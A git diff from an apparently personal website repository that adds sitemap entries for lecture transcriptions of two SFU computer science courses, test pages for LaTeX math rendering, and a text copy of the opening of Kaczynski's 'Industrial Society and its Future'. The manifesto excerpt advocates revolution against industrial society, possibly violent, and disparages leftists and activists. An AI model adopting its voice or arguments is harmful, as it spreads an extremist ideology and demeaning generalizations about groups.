+/transcriptions/target/cmpt-225/06/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/06/html_data/localhost:4000/transcriptions/src/cmpt-225/06/06/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/07/07.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/07/225%20L7%20-%20LL%20Queue%20and%20Traversal.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/07/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/07/html_data/localhost:4000/transcriptions/src/cmpt-225/07/07/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/08/08.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/08/225%20L8%20-%20Rooted%20Trees.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/08/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/08/html_data/localhost:4000/transcriptions/src/cmpt-225/08/08/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/09/09.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/09/225%20L9%20-%20Recursion%20On%20Trees.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/09/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/09/html_data/localhost:4000/transcriptions/src/cmpt-225/09/09/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/10/10.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/10/225%20L10%20-%20Big-Oh.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/10/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/10/html_data/localhost:4000/transcriptions/src/cmpt-225/10/10/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/11/11.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/11/225%20L11%20-%20BST.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/11/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/11/html_data/localhost:4000/transcriptions/src/cmpt-225/11/11/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/12/12.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/12/Lecture_12_AVL.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/12/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/12/html_data/localhost:4000/transcriptions/src/cmpt-225/12/12/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/13/13.html +2021-11-17T11:13:33-07:00 + + +/transcriptions/target/cmpt-225/13/225%20L13%20-%20PQ%20and%20Heaps.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/13/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:33-07:00 + + +/transcriptions/target/cmpt-225/13/html_data/localhost:4000/transcriptions/src/cmpt-225/13/13/ +2021-11-17T11:13:33-07:00 + + +/transcriptions/target/cmpt-225/14/14.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/14/225%20L14%20-%20Big%20Omega%20and%20Theta.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/14/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/14/html_data/localhost:4000/transcriptions/src/cmpt-225/14/14/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/15/15.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/15/225%20L15%20-%20Sorting.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/15/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-225/15/html_data/localhost:4000/transcriptions/src/cmpt-225/15/15/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/01/01.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/01/Lecture_01_Activity_Code.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/01/Lecture_01_Course_Overview.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/01/Lecture_01_Course_Overview_Annotated.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/01/computer-bus/Computer_Bus.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/01/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/01/html_data/localhost:4000/transcriptions/src/cmpt-295/01/01/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/02/02.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/02/Lecture_02_Data_Representation_Intro.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/02/Lecture_02_Data_Representation_Intro_Annotated.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/02/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/02/html_data/localhost:4000/transcriptions/src/cmpt-295/02/02/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/03/03.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/03/Lecture_03_Data_Representation_Integers.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/03/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/03/html_data/localhost:4000/transcriptions/src/cmpt-295/03/03/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/04/04.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/04/Lecture_04_Data_Representation_Integers.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/04/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/04/html_data/localhost:4000/transcriptions/src/cmpt-295/04/04/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/05/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/05/html_data/localhost:4000/transcriptions/src/cmpt-295/05/Lecture_05_Data_Representation_Fractional_Numbers/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/06/06.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/06/Lecture_06_Data_Representation_Fractional_Numbers.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/06/Lecture_06_Data_Representation_Fractional_Numbers_Annotated.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/06/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/06/html_data/localhost:4000/transcriptions/src/cmpt-295/06/06/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/07/07.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/07/Lecture_07_Data_Representation_Fractional_Numbers_Rounding_Arithmetic_Operations.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/07/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/07/html_data/localhost:4000/transcriptions/src/cmpt-295/07/07/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/08/08.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/08/Lecture_08_Machine_Level_Prog_Intro.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/08/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/08/html_data/localhost:4000/transcriptions/src/cmpt-295/08/08/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/09/09.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/09/Lecture_09_Machine_Level_Prog_Data_Move_Annotated.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/09/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/09/html_data/localhost:4000/transcriptions/src/cmpt-295/09/09/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/10/10.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/10/Lecture_10_Machine_Level_Prog_Arithmetic_leaq_Instructions.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/10/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/10/html_data/localhost:4000/transcriptions/src/cmpt-295/10/10/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/11/11.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/11/Lecture_11_Machine_Level_Prog_Instructions_Practice_Demo.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/11/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/11/html_data/localhost:4000/transcriptions/src/cmpt-295/11/11/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/12/12.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/12/Lecture_12_Machine_Level_Prog_Control.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/12/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/12/html_data/localhost:4000/transcriptions/src/cmpt-295/12/12/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/13/13.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/13/Lecture_13_Machine_Level_Prog_Loops.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/13/Lecture_13_Machine_Level_Prog_Loops_Annotated.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/13/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/13/html_data/localhost:4000/transcriptions/src/cmpt-295/13/13/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/14/14.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/14/Lecture_14_Machine_Level_Prog_Fcn_Call_Stack.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/14/Lecture_14_Machine_Level_Prog_Fcn_Call_Stack_Annotated.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/14/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/14/html_data/localhost:4000/transcriptions/src/cmpt-295/14/14/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/15/15.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/15/Lecture_15_Machine_Level_Prog_Fcn_Call_Passing_Control.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/15/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/15/html_data/localhost:4000/transcriptions/src/cmpt-295/15/15/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/16/16.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/16/Lecture_16_Midterm_1_Review_Session.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/16/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/16/html_data/localhost:4000/transcriptions/src/cmpt-295/16/16/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/17/17.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/17/Lecture_17_Midterm_1_1211.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/17/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/17/html_data/localhost:4000/transcriptions/src/cmpt-295/17/17/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/18/18.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/18/Lecture_18_Machine_Level_Prog_Fcn_Call_Passing_Data.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/18/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/18/html_data/localhost:4000/transcriptions/src/cmpt-295/18/18/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/19/19.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/19/Lecture_19_Machine_Level_Prog_Fcn_Call_Mem_Mgmt.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/19/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/19/html_data/localhost:4000/transcriptions/src/cmpt-295/19/19/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/20/20.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/20/Lecture_20_Machine_Level_Prog_Array_1D.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/20/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/20/html_data/localhost:4000/transcriptions/src/cmpt-295/20/20/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/21/21.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/21/Lecture_21_Machine_Level_Prog_Array_2D.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/21/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/21/html_data/localhost:4000/transcriptions/src/cmpt-295/21/21/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/22/22.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/22/Lecture_22_Machine_Level_Prog_Buffer_Overflow_and_Fl_Pt_Annotated.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/22/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/22/html_data/localhost:4000/transcriptions/src/cmpt-295/22/22/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/23/23.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/23/Lecture_23_ISA_Intro_and_Design_Annotated.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/23/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/23/html_data/localhost:4000/transcriptions/src/cmpt-295/23/23/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/23/micro_graph.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/24/24.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/24/Lecture_24_ISA_MIPS.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/24/Lecture_24_ISA_MIPS_Annotated.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/24/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/24/html_data/localhost:4000/transcriptions/src/cmpt-295/24/24/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/25/25.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/25/Lecture_25_ISA_Evaluation.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/25/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/25/html_data/localhost:4000/transcriptions/src/cmpt-295/25/25/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/26/26.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/26/Lecture_26_Intro_to_Logic_Design.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/26/Lecture_26_Intro_to_Logic_Design_Annotated.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/26/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/26/html_data/localhost:4000/transcriptions/src/cmpt-295/26/26/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/26/micro_graph.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/02/02.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/02/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/02/html_data/localhost:4000/transcriptions/src/cmpt-295/activities/02/02/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04-solution/04-solution.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04-solution/Participation_Activity_4_1217_SOLUTION.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04-solution/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04-solution/html_data/localhost:4000/transcriptions/src/cmpt-295/activities/04-solution/04-solution/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04/04.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04/Participation_Activity_4_1217_CAL.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/activities/04/html_data/localhost:4000/transcriptions/src/cmpt-295/activities/04/04/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/assignments/a2/Assignment_2.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a2/a2.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a2/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a2/html_data/localhost:4000/transcriptions/src/cmpt-295/assignments/a2/a2/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a3/Assignment_3.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a3/a3.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a3/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a3/html_data/localhost:4000/transcriptions/src/cmpt-295/assignments/a3/a3/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a4/Assignment_4.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a4/a4.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a4/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a4/html_data/localhost:4000/transcriptions/src/cmpt-295/assignments/a4/a4/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a5/Assignment_5.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a5/a5.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a5/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a5/html_data/localhost:4000/transcriptions/src/cmpt-295/assignments/a5/a5/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a6/Assignment_6.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a6/a6.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a6/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a6/html_data/localhost:4000/transcriptions/src/cmpt-295/assignments/a6/a6/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a7/Assignment_7.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a7/a7.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a7/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/assignments/a7/html_data/localhost:4000/transcriptions/src/cmpt-295/assignments/a7/a7/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/demo/Demo_Copy_Annotated.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/demo/demo.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/demo/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/demo/html_data/localhost:4000/transcriptions/src/cmpt-295/demo/demo/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm-solutions/Cmpt295_Midterm_1_Fall_2021_SOLUTION.pdf +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/midterm-solutions/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/midterm-solutions/html_data/localhost:4000/transcriptions/src/cmpt-295/midterm-solutions/midterm-solutions/ +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/midterm-solutions/midterm-solutions.html +2021-11-17T11:13:34-07:00 + + +/transcriptions/target/cmpt-295/midterm/About_our_Midterm_1.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm/about.html +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm/html_data/localhost:4000/transcriptions/src/cmpt-295/midterm/about/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm2/About_our_Midterm_2.pdf +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm2/html_data/localhost:4000/assets/js/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm2/html_data/localhost:4000/transcriptions/src/cmpt-295/midterm2/midterm2/ +2021-11-17T11:13:35-07:00 + + +/transcriptions/target/cmpt-295/midterm2/midterm2.html +2021-11-17T11:13:35-07:00 + + diff --git a/tests/latex-cases/index.html b/tests/latex-cases/index.html new file mode 100644 index 0000000..2d18b1d --- /dev/null +++ b/tests/latex-cases/index.html @@ -0,0 +1,49 @@ + + + + + | tait.tech + + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    S(n)={0if n=0n+S(n1)if n>0 +S(n) = \begin{cases} +0 & \text{if } n=0\\ +n+S(n-1) & \text{if } n>0 +\end{cases} +

    + +
    +
    + +
    + + diff --git a/tests/latex-grouping/index.html b/tests/latex-grouping/index.html new file mode 100644 index 0000000..1c6a00f --- /dev/null +++ b/tests/latex-grouping/index.html @@ -0,0 +1,55 @@ + + + + + | tait.tech + + + + + + + + +
    +
    +

    tait.tech

    + + + +
    +
    +

    Grouping V0:

    + +

    10012+01102=11112 +\text{1001}_{2} + \text{0110}_{2} = \text{1111}_{2} +

    + +

    Grouping V1: 51210=2109=1111111112\text{512}_{10} = 2^{9}_{10} = \text{111111111}_{2}

    + +

    Grouping V2: 51210=2109=1111111112\mathit{512}_{10} = 2^{9}_{10} = \mathit{111111111}_{2}

    + +

    Grouping V3: 51210=2109=1111111112\it{512}_{10} = 2^{9}_{10} = \it{111111111}_{2}

    + + +
    +
    + +
    + + diff --git a/text/industrial-society-and-its-future.txt b/text/industrial-society-and-its-future.txt new file mode 100644 index 0000000..ca6a8d5 --- /dev/null +++ b/text/industrial-society-and-its-future.txt @@ -0,0 +1,1854 @@ +The Unabomber Manifesto + +Industrial Society and its Future +by Theodore Kaczynski + +Introduction +1. The Industrial Revolution and its consequences have been a disaster for the human race. They have greatly increased the +life-expectancy of those of us who live in “advanced” countries, but they have destabilized society, have made life unfulfilling, +have subjected human beings to indignities, have led to widespread psychological suffering (in the Third World to physical +suffering as well) and have inflicted severe damage on the natural world. The continued development of technology will +worsen the situation. It will certainly subject human being to greater indignities and inflict greater damage on the natural world, +it will probably lead to greater social disruption and psychological suffering, and it may lead to increased physical suffering +even in “advanced” countries. +2. The industrial-technological system may survive or it may break down. If it survives, it MAY eventually achieve a low level +of physical and psychological suffering, but only after passing through a long and very painful period of adjustment and only at +the cost of permanently reducing human beings and many other living organisms to engineered products and mere cogs in the +social machine. Furthermore, if the system survives, the consequences will be inevitable: There is no way of reforming or +modifying the system so as to prevent it from depriving people of dignity and autonomy. +3. If the system breaks down the consequences will still be very painful. But the bigger the system grows the more disastrous +the results of its breakdown will be, so if it is to break down it had best break down sooner rather than later. +4. We therefore advocate a revolution against the industrial system. This revolution may or may not make use of violence; it +may be sudden or it may be a relatively gradual process spanning a few decades. We can’t predict any of that. But we do +outline in a very general way the measures that those who hate the industrial system should take in order to prepare the way for +a revolution against that form of society. This is not to be a POLITICAL revolution. Its object will be to overthrow not +governments but the economic and technological basis of the present society. +5. In this article we give attention to only some of the negative developments that have grown out of the industrialtechnological system. Other such developments we mention only briefly or ignore altogether. This does not mean that we +regard these other developments as unimportant. For practical reasons we have to confine our discussion to areas that have +received insufficient public attention or in which we have something new to say. For example, since there are well-developed +environmental and wilderness movements, we have written very little about environmental degradation or the destruction of +wild nature, even though we consider these to be highly important. + +The Psychology of Modern Leftism + +6. Almost everyone will agree that we live in a deeply troubled society. One of the most widespread manifestations of the +craziness of our world is leftism, so a discussion of the psychology of leftism can serve as an introduction to the discussion of +the problems of modern society in general. +7. But what is leftism? During the first half of the 20th century leftism could have been practically identified with socialism. +Today the movement is fragmented and it is not clear who can properly be called a leftist. When we speak of leftists in this +article we have in mind mainly socialists, collectivists, “politically correct” types, feminists, gay and disability activists, animal +rights activists and the like. But not everyone who is associated with one of these movements is a leftist. What we are trying to +get at in discussing leftism is not so much movement or an ideology as a psychological type, or rather a collection of related +types. Thus, what we mean by “leftism” will emerge more clearly in the course of our discussion of leftist psychology. (Also, +see paragraphs 227-230.) +8. Even so, our conception of leftism will remain a good deal less clear than we would wish, but there doesn’t seem to be any +remedy for this. All we are trying to do here is indicate in a rough and approximate way the two psychological tendencies that +we believe are the main driving force of modern leftism. We by no means claim to be telling the WHOLE truth about leftist +psychology. Also, our discussion is meant to apply to modern leftism only. We leave open the question of the extent to which +our discussion could be applied to the leftists of the 19th and early 20th centuries. +9. The two psychological tendencies that underlie modern leftism we call “feelings of inferiority” and “oversocialization.” +Feelings of inferiority are characteristic of modern leftism as a whole, while oversocialization is characteristic only of a certain +segment of modern leftism; but this segment is highly influential. + +Feelings of Inferiority +10. By “feelings of inferiority” we mean not only inferiority feelings in the strict sense but a whole spectrum of related traits; +low self-esteem, feelings of powerlessness, depressive tendencies, defeatism, guilt, self-hatred, etc. We argue that modern +leftists tend to have some such feelings (possibly more or less repressed) and that these feelings are decisive in determining the +direction of modern leftism. +11. When someone interprets as derogatory almost anything that is said about him (or about groups with whom he identifies) +we conclude that he has inferiority feelings or low self-esteem. This tendency is pronounced among minority rights activists, +whether or not they belong to the minority groups whose rights they defend. They are hypersensitive about the words used to +designate minorities and about anything that is said concerning minorities. The terms “Negro,” “oriental,” “handicapped” or +“chick” for an African, an Asian, a disabled person or a woman originally had no derogatory connotation. “Broad” and “chick” +were merely the feminine equivalents of “guy,” “dude” or “fellow.” The negative connotations have been attached to these +terms by the activists themselves. Some animal rights activists have gone so far as to reject the word “pet” and insist on its +replacement by “animal companion.” Leftish anthropologists go to great lengths to avoid saying anything about primitive +peoples that could conceivably be interpreted as negative. They want to replace the word “primitive” by “nonliterate.” They +may seem almost paranoid about anything that might suggest that any primitive culture is inferior to ours. (We do not mean to +imply that primitive cultures ARE inferior to ours. We merely point out the hyper sensitivity of leftish anthropologists.) +12. Those who are most sensitive about “politically incorrect” terminology are not the average black ghetto-dweller, 